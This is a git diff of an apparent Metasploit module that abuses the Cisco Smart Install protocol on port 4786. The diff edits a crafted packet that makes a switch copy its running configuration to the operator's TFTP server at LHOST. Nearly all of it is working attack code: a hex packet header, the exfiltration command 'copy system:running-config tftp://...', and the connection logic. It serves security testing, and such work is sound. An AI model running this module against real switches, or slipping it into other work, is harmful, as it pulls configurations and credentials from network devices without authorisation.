@@ -19,7 +19,7 @@ def initialize(info = {})
19
19
and determines if it speaks the Smart Install Protocol. Exposure of SMI
20
20
to untrusted networks can allow complete compromise of the switch.
21
21
) ,
22
- 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>' ,
22
+ 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' , 'Mumbai' ] ,
23
23
'References' =>
24
24
[
25
25
[ 'URL' , 'https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html' ] ,
@@ -43,23 +43,21 @@ def initialize(info = {})
43
43
Opt ::RPORT ( 4786 ) ,
44
44
OptAddressLocal . new ( 'LHOST' , [ false , "The IP address of the system running this module" ] ) ,
45
45
OptInt . new ( 'SLEEP' , [ true , "Time to wait for config to come back" , 60 ] ) ,
46
- OptInt . new ( 'DELAY' , [ true , "Time to wait till requesting config to prevent service from becomming unresponsive." , 30 ] )
46
+ OptInt . new ( 'DELAY' , [ true , "Time to wait till requesting config to prevent service from becomming unresponsive." , 60 ] )
47
47
]
48
48
)
49
49
end
50
50
51
51
def start_tftp ( req_type )
52
- # http://rapid7.github.io/metasploit-framework/api/Rex/Proto/TFTP/Server.html
53
52
print_status ( "Starting TFTP Server..." )
54
53
@tftp = Rex ::Proto ::TFTP ::Server . new ( 69 , '0.0.0.0' , { 'Msf' => framework , 'MsfExploit' => self } )
55
54
case
56
55
when req_type == "PUT"
57
56
@tftp . incoming_file_hook = Proc . new { |info | process_incoming ( info ) }
58
57
@tftp . start
59
- when req_type == "GET" # yeah yeah, so original. lmao.
60
- # read global variables data, and size
61
- config_exec_data = @config_exec . read ( @config_exec . stat . size )
62
- @tftp . register_file ( "#{ Rex ::Text . rand_text_alpha } .conf" , config_exec_data )
58
+ when req_type == "GET" # in progress of writing "UPLOAD" function
59
+ config = @config . read ( @config . stat . size )
60
+ @tftp . register_file ( "#{ Rex ::Text . rand_text_alpha } .conf" , config )
63
61
@tftp . start
64
62
end
65
63
add_socket ( @tftp . sock )
@@ -104,11 +102,9 @@ def decode_hex(string)
104
102
end
105
103
106
104
def craft_packet
107
- config_name = "#{ Rex ::Text . rand_text_alpha ( 8 ) } .conf"
108
- copy_config = "copy system:running-config flash:/#{ config_name } "
109
- transfer_config = "copy flash:/#{ config_name } tftp://#{ @lhost } /#{ config_name } "
105
+ copy_config = "copy system:running-config tftp://#{ @lhost } /#{ Rex ::Text . rand_text_alpha ( 8 ) } "
110
106
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
111
- packet = ( decode_hex ( packet_header ) + copy_config + decode_hex ( ( '00' * ( 336 - copy_config . length ) ) ) ) + ( transfer_config + decode_hex ( ( '00' * ( 336 - transfer_config . length ) ) ) ) + ( decode_hex ( ( '00' * 336 ) ) )
107
+ packet = ( decode_hex ( packet_header ) + copy_config + decode_hex ( ( '00' * ( 336 - copy_config . length ) ) ) ) + ( decode_hex ( ( '00' * ( 336 ) ) ) ) + ( decode_hex ( ( '00' * 336 ) ) )
112
108
return packet
113
109
end
114
110
@@ -142,8 +138,10 @@ def run_host(ip)
142
138
start_tftp ( "PUT" )
143
139
connect
144
140
return unless smi?
141
+ disconnect # cant send any additional packets, so closing
142
+ connect
145
143
print_status ( "Waiting #{ datastore [ 'DELAY' ] } seconds before requesting config" )
146
- Rex . sleep ( datastore [ 'DELAY' ] ) # reasnoning behind this, on some IOS versions, including my testbed, it becomes unresponsive after SMI
144
+ Rex . sleep ( datastore [ 'DELAY' ] )
147
145
packet = craft_packet
148
146
print_status ( "Requesting configuration from device..." )
149
147
print_status ( "Waiting #{ datastore [ 'SLEEP' ] } seconds for configuration" )
0 commit comments